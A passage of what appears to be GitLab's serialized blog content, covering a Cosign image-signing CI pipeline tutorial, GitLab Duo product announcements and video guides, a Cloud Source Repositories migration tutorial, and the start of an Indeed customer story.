Log in to the Docker registry using GitLab CI token\n  script:\n    # Build the Docker image using the specified tag and push it to the registry\n    - docker build --pull -t \"$IMAGE_URI\" .\n    - docker push \"$IMAGE_URI\"\n\n    # Retrieve the digest of the pushed image to use in the signing step\n    - IMAGE_DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' \"$IMAGE_URI\")\n\n    # Sign the image using Cosign with annotations that provide metadata about the build and tag annotation to allow verifying\n    # the tag->digest mapping (https://github.com/sigstore/cosign?tab=readme-ov-file#tag-signing)\n    - |\n      cosign sign \"$IMAGE_DIGEST\" \\\n        --annotations \"com.gitlab.ci.user.name=$GITLAB_USER_NAME\" \\\n        --annotations \"com.gitlab.ci.pipeline.id=$CI_PIPELINE_ID\" \\\n        --annotations \"com.gitlab.ci.pipeline.url=$CI_PIPELINE_URL\" \\\n        --annotations \"com.gitlab.ci.job.id=$CI_JOB_ID\" \\\n        --annotations \"com.gitlab.ci.job.url=$CI_JOB_URL\" \\\n        --annotations \"com.gitlab.ci.commit.sha=$CI_COMMIT_SHA\" \\\n        --annotations \"com.gitlab.ci.commit.ref.name=$CI_COMMIT_REF_NAME\" \\\n        --annotations \"com.gitlab.ci.project.path=$CI_PROJECT_PATH\" \\\n        --annotations \"org.opencontainers.image.source=$CI_PROJECT_URL\" \\\n        --annotations \"org.opencontainers.image.revision=$CI_COMMIT_SHA\" \\\n        --annotations \"tag=$IMAGE_TAG\"\n\n    # Verify the image signature using Cosign to ensure it matches the expected annotations and certificate identity\n    - |\n      cosign verify \\\n        --annotations \"tag=$IMAGE_TAG\" \\\n        --certificate-identity \"$CI_PROJECT_URL//.gitlab-ci.yml@refs/heads/$CI_COMMIT_REF_NAME\" \\\n        --certificate-oidc-issuer \"$CI_SERVER_URL\" \\\n        \"$IMAGE_URI\" | jq .  # Use jq to format the verification output for easier readability\n```\n\nLet's break down this pipeline configuration and understand each part in detail.\n\n## Detailed explanation of the pipeline\n\n### 1. Setup and prerequisites\n\nThe pipeline starts by setting up the necessary environment:\n\n* It uses the `docker:latest` image and enables Docker-in-Docker service, allowing Docker commands to be run within the CI job.\n* It defines variables for the image tag and URI using GitLab CI/CD predefined variables.\n* It sets up an OIDC token for keyless signing with Cosign.\n* In the `before_script` section, it installs Cosign and jq (for JSON processing) and logs into the GitLab container registry.\n\n### 2. Building and pushing the image\n\nThe first step in the script is to build the Docker image and push it to the GitLab container registry:\n\n```yaml\n- docker build --pull -t \"$IMAGE_URI\" .\n- docker push \"$IMAGE_URI\"\n```\n\nThis creates the image using the current directory's Dockerfile and pushes it to the registry.\n\n### 3. Signing the image with Cosign\n\nAfter building and pushing the image, the pipeline signs it using Cosign:\n\n```yaml\n- IMAGE_DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' \"$IMAGE_URI\")\n- |\n  cosign sign \"$IMAGE_DIGEST\" \\\n    --annotations \"com.gitlab.ci.user.name=$GITLAB_USER_NAME\" \\\n    --annotations \"com.gitlab.ci.pipeline.id=$CI_PIPELINE_ID\" \\\n    # ... (other annotations) ...\n    --annotations \"tag=$IMAGE_TAG\"\n```\n\nThis step first retrieves the image digest and then uses Cosign to sign the image, adding several annotations.\n\n## Verifying the signature and annotations\n\nAfter signing the image, it's crucial to verify the signature and the annotations we've added. This verification step ensures that the provenance data attached to the image is correct and hasn't been tampered with.\n\nIn our pipeline, we've included a verification step using the `cosign verify` command:\n\n```yaml\n- |\n  cosign verify \\\n    --annotations \"tag=$IMAGE_TAG\" \\\n    --certificate-identity \"$CI_PROJECT_URL//.gitlab-ci.yml@refs/heads/$CI_COMMIT_REF_NAME\" \\\n    --certificate-oidc-issuer \"$CI_SERVER_URL\" \\\n    \"$IMAGE_URI\" | jq .\n```\n\nThis command verifies the signature and checks the annotations. Its output will show all the annotations we've added to the image during the signing process.\n\nHere's what you might see in your pipeline logs after running this command:\n\n![verifying the signature and checking annotations](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098404/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098404260.png)\n\nIn this output, you should see all the annotations we added earlier, including:\n\n* GitLab CI user name\n* Pipeline ID and URL\n* Job ID and URL\n* Commit SHA and reference name\n* Project path\n* Image source and revision\n\nBy verifying these annotations, you can ensure that the image's provenance data is intact and matches what you expect based on your build process. This verification step is crucial for maintaining the integrity of your software supply chain. It allows you to confirm that the image you're about to deploy has gone through your secure build process and has yet to be modified since it was signed.\n\n## Summary\n\nBy integrating Cosign into your GitLab CI/CD pipeline, you've taken a significant step toward securing your software supply chain. This setup not only automates securing and annotating your container images with build metadata but also ensures a transparent and traceable build process.\n\nThe benefits of this approach are numerous:\n\n- enhanced security through image signing\n- improved traceability with detailed build provenance data\n- automated verification process\n- alignment with DevSecOps best practices\n\nAs container security continues to be a critical concern in the software development lifecycle, implementing these practices puts you ahead of potential security threats and demonstrates a commitment to software integrity.\n\n## Try it in your organization\n\nNow that you've seen how to enhance your container security using Cosign in GitLab CI/CD, it's time to put this knowledge into practice:\n\n1. **Implement in your projects**: Adapt the provided `.gitlab-ci.yml` file to fit your specific needs.\n2. **Explore further**: Dive deeper into Cosign's capabilities. Consider exploring advanced features like policy enforcement or integration with vulnerability scanning tools.\n3. **Share your experience**: After implementing this in your projects, share your experience with your team or the wider GitLab community. Your insights could help others enhance their security practices.\n4. **Stay updated**: Container security is an evolving field. Check GitLab's blog and documentation for new features and best practices updates.\n5. **Contribute**: If you find ways to improve this process or encounter any issues, consider contributing to the GitLab or Cosign open-source projects.\n\nRemember, security is a journey, not a destination. By taking these steps, you're securing your containers and contributing to a more secure software ecosystem for everyone.\n\nStart implementing these practices in your GitLab projects today, and take your container security to the next level!\n\n> Get started today! Sign up for a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial)!\n\n## Read more\n\n- [Next-generation GitLab container registry goes GA](https://about.gitlab.com/blog/next-generation-gitlab-container-registry-goes-ga/)\n- [A beginner's guide to container security](https://about.gitlab.com/topics/devsecops/beginners-guide-to-container-security/)\n- [DevSecOps basics, including security](https://about.gitlab.com/topics/devsecops/)\n- [What is CI/CD?](https://about.gitlab.com/topics/ci-cd/)\n",[674,696,695,754],{"slug":4697,"featured":6,"template":678},"annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd","content:en-us:blog:annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd.yml","Annotate Container Images With Build Provenance Using Cosign In Gitlab Ci Cd","en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd.yml","en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd",{"_path":4703,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4704,"content":4710,"config":4715,"_id":4717,"_type":16,"title":4718,"_source":17,"_file":4719,"_stem":4720,"_extension":20},"/en-us/blog/gitlab-duo-enterprise-is-now-available",{"title":4705,"description":4706,"ogTitle":4705,"ogDescription":4706,"noIndex":6,"ogImage":4707,"ogUrl":4708,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4708,"schema":4709},"GitLab Duo Enterprise is now available","Organizations have an end-to-end AI partner for faster, more secure software development. Learn how GitLab Duo Enterprise supports the entire DevSecOps lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665660/Blog/Hero%20Images/Untitled__1800_x_945_px_.png","https://about.gitlab.com/blog/gitlab-duo-enterprise-is-now-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Enterprise is now available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-09-03\",\n      }",{"title":4705,"description":4706,"authors":4711,"heroImage":4707,"date":4712,"body":4713,"category":791,"tags":4714},[1524],"2024-09-03","[GitLab Duo Enterprise]( https://about.gitlab.com/gitlab-duo/), now available, is an end-to-end AI partner designed for the entire software development lifecycle. This powerful suite of AI tools is designed to boost developer productivity, enhance security, streamline collaboration, and accelerate your DevSecOps processes.\n\nKey features at a glance:\n- Intelligent code assistance across 25+ programming languages\n- AI-powered security vulnerability details and resolution\n- Automated test generation and root cause analysis\n- Team collaboration enhancements with AI-driven summaries\n- ROI quantification through an AI Impact Dashboard\n\n## Why we developed GitLab Duo Enterprise\n\nAs organizations aim to deliver better software faster and create customer value, they encounter significant challenges that slow their progress. [Our research](http://about.gitlab.com/developer-survey/2024/ai) shows that 95% of organizations are either evaluating or using AI in the software development lifecycle. However, 55% of survey respondents said they feel using AI for software development is risky.\n\nCommon pain points in the enterprise include suboptimal developer experience and productivity, increasing security and compliance demands, inefficient collaboration across teams, and difficulty in assessing the ROI of AI technology investments. GitLab Duo Enterprise addresses these challenges head-on, providing a secure, efficient, and powerful AI partner for your development teams. \n\n**Let's explore how GitLab Duo Enterprise can transform the way your company creates and deploys software.**\n\n## Boost developer productivity with intelligent code assistance\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252678?h=83f35171b6&amp;badge=0&amp;badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Suggestions clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nOne of the primary hurdles in software development is the time-consuming nature of routine coding tasks. Get to the most impactful work faster with:\n\n- __Code Suggestions__ supports more than 25 programming languages. This AI-powered tool accelerates code creation, improves code quality, and reduces the time spent on boilerplate tasks.\n\nBut it's not just about writing new code. \n\n- GitLab Duo Enterprise's __Code Explanation__ capability enables developers to quickly understand complex or unfamiliar code, while \n\n- **Code Refactoring** enables developers to [improve and modernize existing code](https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/). \n\n- __Test Generation__ automates the creation of comprehensive unit tests. The result? Developers can focus on high-value tasks that drive innovation, leading to faster development cycles and improved software quality.\n\n> See how [European tech company Cube](https://about.gitlab.com/customers/cube/) uses Code Suggestions, Test Generation, and other GitLab Duo features to achieve improvements in speed and efficiency. \n\n## Enhance team collaboration and communication\n\nEffective collaboration is the cornerstone of successful software development, yet it's often hindered by lengthy discussions, complex merge requests, and time-consuming code reviews. GitLab Duo Enterprise addresses these challenges with its suite of summarization and templating tools:\n- __Discussion Summary:__ Allows team members to quickly get up to speed on lengthy conversations in issues\n- __Merge Request Summaries:__ Provide clear, concise overviews of proposed changes. \n- __Code Review Summaries:__ Streamline the review process, enabling better handoffs between authors and reviewers. \n\nBy facilitating clearer communication and faster decision-making, GitLab Duo Enterprise helps teams work more efficiently and deliver results more quickly.\n\n## Streamline troubleshooting and debugging\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252688?h=fc6c048bfd&amp;badge=0&amp;badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Root Cause Analysis clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nWhen development pipelines fail, the impact on project timelines can be significant. GitLab Duo Enterprise's __Root Cause Analysis__ feature is a game-changer here. By automatically analyzing logs and providing detailed explanations of failures along with potential fixes, Root Cause Analysis significantly reduces the time spent on troubleshooting.\n\nThe benefits extend beyond just time savings. With [faster resolution of CI/CD build issues](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/), teams can maintain momentum, reduce downtime, and ultimately deliver software updates more frequently and reliably.\n\n## Elevate security across the development lifecycle\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252706?h=73e568b89c&amp;badge=0&amp;badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Vulnerability Explanation and Resolution clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nCybersecurity threats are ever-present, so robust application security is a necessity. GitLab Duo Enterprise rises to this challenge with its __Vulnerability Explanation__ and __Vulnerability Resolution__ features. These AI-powered tools help [developers fully understand security vulnerabilities](https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities/) and then automatically generate merge requests with suggested fixes.\n\n## Quantify AI impact for strategic decision-making\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252663?h=d35106288b&amp;badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Impact Dashboard clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nDemonstrating the ROI of technology investments is crucial. GitLab Duo Enterprise addresses this need head-on with its __AI Impact Dashboard__. This analytics tool, built on top of Value Stream Analytics and DORA4 metrics, provides clear metrics on cycle time improvements and increased deployment frequencies, allowing organizations to quantify the tangible benefits of AI adoption in their development processes.\n\nBy offering insights into how AI usage correlates with key productivity metrics, the [AI Impact Dashboard](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) empowers leadership to make data-driven decisions about resource allocation and strategic technology investments.\n\n## Embrace the future of AI-powered DevSecOps\n\nAs we unveil GitLab Duo Enterprise, we're proud to announce that GitLab has been recognized as a Leader in the inaugural [Gartner® Magic Quadrant™ for AI Code Assistants](https://about.gitlab.com/gartner-mq-ai-code-assistants/). This recognition underscores our commitment to delivering AI solutions that drive real business value.\n\nThe future of software development is here, and it's powered by AI. We're here to help you incorporate intelligent, scalable AI throughout the DevSecOps lifecycle so you can deliver results faster for your customers.\n\n> [Get started today with GitLab Duo Enterprise with a free 60-day trial!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)\n",[790,695,479,754,736],{"slug":4716,"featured":92,"template":678},"gitlab-duo-enterprise-is-now-available","content:en-us:blog:gitlab-duo-enterprise-is-now-available.yml","Gitlab Duo Enterprise Is Now Available","en-us/blog/gitlab-duo-enterprise-is-now-available.yml","en-us/blog/gitlab-duo-enterprise-is-now-available",{"_path":4722,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4723,"content":4728,"config":4733,"_id":4735,"_type":16,"title":4736,"_source":17,"_file":4737,"_stem":4738,"_extension":20},"/en-us/blog/5-videos-and-interactive-tours-to-learn-gitlab-duo-fast",{"title":4724,"description":4725,"ogTitle":4724,"ogDescription":4725,"noIndex":6,"ogImage":4038,"ogUrl":4726,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4726,"schema":4727},"5 videos and interactive tours to learn GitLab Duo fast","Get to know GitLab Duo's capabilities and benefits, and use these visual learning tools to understand how to incorporate AI throughout your software development lifecycle.\n","https://about.gitlab.com/blog/5-videos-and-interactive-tours-to-learn-gitlab-duo-fast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 videos and interactive tours to learn GitLab Duo fast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2024-08-28\",\n      }",{"title":4724,"description":4725,"authors":4729,"heroImage":4038,"date":4730,"body":4731,"category":791,"tags":4732},[937],"2024-08-28","GitLab Duo is a suite of AI-powered features designed to assist DevSecOps teams throughout the software development lifecycle. Integrated seamlessly into the GitLab platform, GitLab Duo leverages artificial intelligence to enhance productivity, improve code quality, and streamline various development and security processes. This article introduces you to GitLab Duo's capabilities and benefits, and lists five videos and interactive tours to help you learn how to incorporate this AI powerhouse into your own workflow.\n\nIn this article:\n- [GitLab Duo features](#gitlab-duo-features)\n- [Benefits of GitLab Duo](#benefits-of-gitlab-duo)\n- [5 videos and interactive tours](#5-videos-and-interactive-tours-to-learn-gitlab-duo)\n\n## GitLab Duo features\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) offers a wide range of AI-powered capabilities to help you ship more secure software faster and deliver better results for your customers.\n\n### Feature development\n\n- **Code Suggestions:** Helps developers write code more efficiently by generating code and showing suggestions as they type.\n\n- **Chat:** A conversational interface that answers questions and assists with various tasks throughout the development process.\n\n- **Code Explanation:** Helps understand selected code by providing clear explanations.\n\n- **GitLab Duo for the CLI:** Helps discover or recall Git commands when and where you need them.\n\n-  **Merge Commit Message Generation:** Helps merge more quickly by generating meaningful commit messages.\n\n- **Test Generation:** Helps catch bugs early by automatically generating tests for selected code.\n\n### Securing applications\n\n- **Vulnerability Explanation:** Shows information about security vulnerabilities in code and explains how to fix them.\n\n- **Vulnerability Resolution:** Helps resolve a vulnerability by generating a merge request that addresses it. (Beta)\n\n### Facilitating collaboration\n\n- **AI Impact Dashboard:** Measures the effectiveness and impact of AI on software development lifecycle metrics.\n\n- **Code Review Summary:** Makes merge request handover to reviewers easier by summarizing all the comments in a merge request review. (Experimental)\n\n- **Discussion Summary:** Helps everyone get up to speed by summarizing lengthy conversations in an issue. (Beta)\n\n- **Issue Description Generation:** Helps populate an issue quickly by generating a more in-depth description based on a short summary. (Experimental)\n\n- **Merge Request Summary:** Helps populate a merge request more quickly by generating a description based on the code changes. (Beta)\n\n- **Product Analytics:** Processes and responds to questions about your application's usage data.\n\n### Advanced troubleshooting\n\n- **Root Cause Analysis:** Helps determine the cause of CI/CD job failures by analyzing logs.\n\nThese components work together to provide comprehensive AI-assisted support throughout the software development lifecycle.\n\n## Benefits of GitLab Duo\n\nGitLab Duo offers numerous benefits to development teams and organizations. By integrating AI-powered assistance throughout the development lifecycle, it helps increase productivity, improve code quality, and enhance security. \nDevelopers can write code faster, understand complex codebases more easily, and catch potential issues earlier in the development process.\n\nGitLab Duo also helps streamline collaboration, speed up code reviews, and provide valuable insights into the impact of AI on ROI metrics. These benefits contribute to faster delivery of high-quality, secure software.\n\n## 5 videos and interactive tours to learn GitLab Duo\n\nTo help you get acquainted with GitLab Duo and its capabilities quickly, we've compiled a list of five videos and interactive tours. These visual learning tools provide an in-depth look at an array of GitLab Duo features and demonstrate how they can be integrated into your development workflow.\n\n__1. GitLab Duo Overview__\n\nThis comprehensive video introduces the core concepts of GitLab Duo and showcases its integration within the GitLab platform.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/o2xmLTV1y0I?si=90yPCHS_x2zSBAqe\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n__2. Code Suggestions in Action__\n\nAn interactive tour demonstrating how GitLab Duo Code Suggestions works in real-time, helping developers write code more efficiently.\n\n\u003Ca href=\"https://gitlab.navattic.com/code-suggestions\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175911/Blog/b5gdnls7jdyrpeyjby5j.png\" alt=\"GitLab Duo Code Suggestions cover image\">\u003C/a>\n\n__3. Vulnerability Resolution Walkthrough__\n\nThis video guide takes you through the process of using GitLab Duo to understand and resolve security vulnerabilities in your code.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VJmsw_C125E?si=cUmRiQNJbrv5Yd9D\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n__4. Chat Demo__\n\nAn interactive session showing how developers can leverage GitLab Duo Chat to get answers, generate code, and solve problems throughout the development process.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"\nhttps://www.youtube.com/embed/RJezT5_V6dI?si=QomHCGUKstnAwplM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n__5. AI Impact Dashboard Tutorial__\n\nA detailed look at how to use and interpret the AI Impact Dashboard to measure the effectiveness of GitLab Duo in your development processes.\n\n\u003Ca href=\"https://gitlab.navattic.com/ai-impact\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175921/Blog/hn7gflmqswrjb33unuja.png\" alt=\"GitLab Duo AI Impact Dashboard cover image\">\u003C/a>\u003C/p>\n\n## Get started with GitLab Duo today\n\nThese videos and interactive tours offer practical insights into how GitLab Duo can enhance your development workflow. By exploring these resources, you'll gain a better understanding of how to leverage AI-powered assistance to improve productivity, code quality, and security in your projects.\n\n> #### Become a GitLab Duo expert: [Start your free, 60-day trial today!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)\n\n## Read more\n- [10 best practices for using AI-powered GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n- [Refactor code into modern languages with AI-powered GitLab Duo](https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/)\n- [Developing GitLab Duo blog series](https://about.gitlab.com/blog/developing-gitlab-duo-series/)\n- [Mastering GitLab admin tasks with GitLab Duo Chat](https://about.gitlab.com/blog/mastering-gitlab-admin-tasks-with-gitlab-duo-chat/)",[790,754,696,695],{"slug":4734,"featured":6,"template":678},"5-videos-and-interactive-tours-to-learn-gitlab-duo-fast","content:en-us:blog:5-videos-and-interactive-tours-to-learn-gitlab-duo-fast.yml","5 Videos And Interactive Tours To Learn Gitlab Duo Fast","en-us/blog/5-videos-and-interactive-tours-to-learn-gitlab-duo-fast.yml","en-us/blog/5-videos-and-interactive-tours-to-learn-gitlab-duo-fast",{"_path":4740,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4741,"content":4747,"config":4752,"_id":4754,"_type":16,"title":4755,"_source":17,"_file":4756,"_stem":4757,"_extension":20},"/en-us/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"title":4742,"description":4743,"ogTitle":4742,"ogDescription":4743,"noIndex":6,"ogImage":4744,"ogUrl":4745,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4745,"schema":4746},"Tutorial: Migrate from Google Cloud Source Repositories to GitLab","Google Cloud is deprecating Cloud Source Repositories. Learn how to migrate a CSR source code repository to GitLab, along with best practices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097739/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2813%29_1zdtbfPDHZVe6JC2AbdHmb_1750097738370.png","https://about.gitlab.com/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Migrate from Google Cloud Source Repositories to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2024-08-28\",\n      }",{"title":4742,"description":4743,"authors":4748,"heroImage":4744,"date":4730,"body":4750,"category":695,"tags":4751},[4749,919],"Tsukasa Komatsubara","Google Cloud’s [deprecation of Cloud Source Repositories](https://cloud.google.com/source-repositories/docs/release-notes) (CSR) has prompted development teams to seek a full-featured alternative for their source code repositories. GitLab, a [Google Cloud Technology Partner](https://cloud.google.com/find-a-partner/partner/gitlab-inc), is a strong choice due to its comprehensive DevSecOps capabilities.\n\nIn this tutorial, you'll learn the steps to ensure a smooth transition from CSR to GitLab, whether you're using GitLab.com or a self-managed instance on Google Cloud.\n\n## Why GitLab?\nTransitioning from Google Cloud Source Repositories to GitLab is a recommended step. As a strategic partner of Google Cloud, GitLab seamlessly integrates with existing infrastructure with ease and brings value to customers in the following ways:\n- **Unified DevSecOps platform**\n    - Consolidate your entire development lifecycle into a single application, from planning to monitoring. Eliminate tool sprawl and dramatically boost productivity.\n- **Seamless Google Cloud integration**\n    - Effortlessly connect with GKE, Cloud Build, and Cloud Storage, ensuring a smooth migration and efficient operations within the Google Cloud ecosystem.\n- **Advanced CI/CD capabilities**\n    - Leverage [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) to automate everything from security scanning to deployment, accelerating your development cycles.\n- **Industry-recognized AI coding assistance**\n    - Benefit from built-in AI-assisted development with [GitLab Duo](https://about.gitlab.com/gitlab-duo/), fostering a secure and efficient coding environment.\n\n## Prerequisites\n\nBefore you start the migration, ensure you have:\n- GitLab account: Set up your account on GitLab.com or on a self-hosted instance.\n- GitLab project: Create a blank project in GitLab where the CSR repository will be migrated.\n\n## Migration steps\n\n1. Create a blank GitLab project: This will serve as the destination for your migrated CSR repository. Keep this project empty for now.\n2. Generate a personal access token (PAT): Navigate to GitLab settings and [generate a PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with `read_repository` and `write_repository` scopes enabled. This token will be used to authenticate your Git operations during the migration process.\n3. Edit code in Cloud Shell Editor: From your CSR repository, open the Cloud Shell Editor by clicking the “Edit code” button. You’ll need to authorize the Cloud Shell and select “Trust repo” to proceed.\n\n![Google Cloud Shell Editor](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097750517.png)\n\n4. Inspect Git status: Run `git status` in the Cloud Shell to check the current branch and ensure everything is in order before pushing to GitLab.\n\n![Inspect Git status](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097750518.png)\n\n5. Set Up the Remote Repository: Add your GitLab project as a remote repository by running:\n\n```\ngit remote add origin [GITLAB_PROJECT_URL]\n\n```\n\n6. Replace `[GITLAB_PROJECT_URL]` with the actual URL of your GitLab project.\nPush to GitLab: Finally, push your local repository to GitLab by running: \n\n```\ngit push -u origin [BRANCH_NAME]\n\n```\n\n7. Replace `[BRANCH_NAME]` with the current branch name you noted earlier.\nWhen prompted, use your GitLab username and the PAT as the password to authenticate and complete the push.\n\n## Best practices\n\n- Back up before you begin: Always back up your CSR repository before starting the migration process.\n- Test after migration: Ensure all aspects of the repository, including branches and CI/CD pipelines, are functioning as expected in GitLab.\n- Leverage GitLab features: Take advantage of GitLab’s advanced DevSecOps features such as [AI](https://about.gitlab.com/gitlab-duo/), [CI/CD](https://docs.gitlab.com/ee/ci/), and [Enterprise Agile planning](https://about.gitlab.com/solutions/agile-delivery/) to enhance your development workflow.\n\nMoving from Google Cloud Source Repositories to GitLab is easy and offers more benefits than just managing source code. GitLab, with its integration with Google Cloud, makes it an ideal choice for developers seeking to enhance their workflow post-migration.\n\n> Read more about [GitLab's integration with Google Cloud](https://about.gitlab.com/blog/gitlab-google-cloud-integrations-now-in-public-beta/).",[696,923,479],{"slug":4753,"featured":6,"template":678},"tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","content:en-us:blog:tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","Tutorial Migrate From Google Cloud Source Repositories To Gitlab","en-us/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","en-us/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"_path":4759,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4760,"content":4766,"config":4773,"_id":4775,"_type":16,"title":4776,"_source":17,"_file":4777,"_stem":4778,"_extension":20},"/en-us/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"title":4761,"description":4762,"ogTitle":4761,"ogDescription":4762,"noIndex":6,"ogImage":4763,"ogUrl":4764,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4764,"schema":4765},"How Indeed transformed its CI platform with GitLab","The world's #1 job site migrated thousands of projects to GitLab CI, boosting productivity and cutting costs. Learn the benefits they realized, including a 79% increase in daily pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Indeed transformed its CI platform with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Carl Myers\"}],\n        \"datePublished\": \"2024-08-27\",\n      }",{"title":4761,"description":4762,"authors":4767,"heroImage":4763,"date":4769,"body":4770,"category":2702,"tags":4771},[4768],"Carl Myers","2024-08-27","***Editor's note: From time to time, we invite members of our customer community to contribute to the GitLab Blog. Thanks to Carl Myers, Manager of CI Platforms at Indeed, for sharing your experience with GitLab.***\n\nHere at Indeed, our mission is to help people get jobs. Indeed is the [#1 job site](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) in the world with more than 350 million unique visitors every month.\n\nFor Indeed's Engineering Platform teams, we have a slightly different motto: \"We help people to help people get jobs.\" As part of a data-driven engineering culture that has spent the better part of two decades always putting the job seeker first, we are responsible for building the tools that not only make this possible, but empower engineers to 